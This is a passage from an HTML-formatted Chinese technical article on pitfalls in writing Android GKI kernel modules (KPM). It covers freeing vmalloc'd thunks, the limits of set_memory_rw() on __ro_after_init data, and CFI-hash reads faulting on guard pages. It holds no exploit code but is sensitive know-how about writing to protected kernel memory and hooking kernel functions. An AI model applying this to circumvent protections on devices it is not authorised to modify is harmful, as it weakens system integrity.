rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mem + 8</span></code><span leaf=""> 处，是为了避开函数入口前读取 CFI hash 时可能踩到 guard page 的问题。但 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfree()</span></code><span leaf=""> 要求传入的是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2146" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">vmalloc 返回的原始地址</span></code></pre><p data-line="2220" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mem</span></code><span leaf="">，而不是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mem + 8</span></code><span leaf="">。因此直接释放 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">thunk</span></code><span leaf=""> 会被内核认为是非法地址。释放前恢复页起始地址：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2152" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *page =</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)((</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)kp_thunk_addrs[idx] &amp; ~(PAGE_SIZE - </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">));</span><span leaf=""><br/></span><span leaf="">vfree(page);</span></code></pre><p data-line="2229" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfree()</span></code><span leaf=""> 必须接收 vmalloc 返回的原始指针。</span></p><p data-line="2231" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">任何偏移后的地址都不能直接传给 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfree()</span></code><span leaf="">。</span></p><p data-line="2233" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 32：只读内核数据区不能依赖 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_rw()</span></code></p><p data-line="2235" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对某些内核只读数据区执行写入时，触发：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2167" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Unable to handle kernel write to read-only memory</span></code></pre><p data-line="2241" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">即使提前调用了：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2173" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">set_memory_rw()</span></code></pre><p data-line="2247" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">仍然无效。安卓GKI中，一些关键内核数据在初始化后会被标记为：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2179" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">__ro_after_init</span></code></pre><p data-line="2253" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这类区域通常位于内核自身的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.data</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rodata</span></code><span leaf=""> 相关映射中。</span></p><p data-line="2255" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_rw()</span></code><span leaf=""> 对 vmalloc/module_alloc 这类动态映射区域更有效，但对内核线性映射或初始化后只读区域不一定能生效。</span></p><p data-line="2257" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">错误流程是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2189" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">set_memory_rw(target)</span><span leaf=""><br/></span><span leaf="">  → 实际失败或不适用</span><span leaf=""><br/></span><span leaf="">直接写 target</span><span leaf=""><br/></span><span leaf="">  → 触发只读内存写入异常</span></code></pre><p data-line="2267" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对于这类地址，必须使用架构允许的内核 patching 机制，而不是直接写。</span></p><p data-line="2269" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 ARM64 上，常见思路是通过内核提供的指令/文本 patch 接口完成临时可写映射、写入和恢复。</span></p><p data-line="2271" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">核心原则是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2203" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">不要假设 set_memory_rw 可以修改所有内核地址。</span></code></pre><p data-line="2277" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_rw()</span></code><span leaf=""> 不是万能写权限开关。</span></p><p data-line="2279" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对于 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__ro_after_init</span></code><span leaf=""> 或内核自身只读映射，直接写入很容易触发 Oops。</span></p><p data-line="2281" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 33：页边界函数入口读取 CFI hash 会踩 guard page</span></p><p data-line="2283" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM 中某个函数地址恰好页对齐：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2215" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0x...000</span></code></pre><p data-line="2289" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在读取：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2221" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">*(func - </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">)</span></code></pre><p data-line="2295" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">获取 CFI hash 时，触发：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2227" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">do_translation_fault</span></code></pre><p data-line="2301" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">vmalloc/module_alloc 区域前后可能存在 guard page。</span></p><p data-line="2303" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当函数入口正好位于页起始位置时：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2235" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">func = page_start</span><span leaf=""><br/></span><span leaf="">func - 4 = previous_page + PAGE_SIZE - 4</span></code></pre><p data-line="2310" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而前一个页面可能是未映射的 guard page。</span></p><p data-line="2312" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">于是读取 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">func - 4</span></code><span leaf=""> 会触发页错误。</span></p><p data-line="2314" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">读取函数入口前 4 字节之前，必须检查页内偏移：</span></p><pre style="margin-top: 0px;background-color: 